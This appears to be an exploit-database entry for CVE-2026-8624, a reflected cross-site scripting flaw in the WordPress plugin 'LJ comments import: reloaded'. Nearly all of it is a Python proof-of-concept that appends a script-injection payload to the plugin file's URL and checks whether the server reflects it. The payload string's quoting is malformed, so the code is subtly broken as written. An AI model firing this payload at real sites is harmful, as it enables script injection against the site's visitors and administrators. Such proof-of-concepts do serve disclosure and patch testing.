CVE-2026-8624

# Exploit Title: WordPress Plugin LJ comments import: reloaded < 0.97.1 - Reflected XSS via PHP_SELF # Date: 2026-05-20 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/ # Software Link: https://wordpress.org/plugins/lj-comments-import-reloaded/ # Version: <= 0.97.1 # Tested on: WordPress import requests target_url = "http://example.com/wp-content/plugins/lj-comments-import-reloaded/lj_comments_import.php" # Payload to inject script via PATH_INFO xss_payload = "/"><script>alert('XSS');</script>" full_url = target_url + xss_payload print(f"Sending request to: {full_url}") try: response = requests.get(full_url) if "alert('XSS')" in response.text: print("[+] Vulnerability confirmed! XSS payload reflected.") else: print("[-] Vulnerability not detected or payload filtered.") except Exception as e: print(f"Error: {e}")

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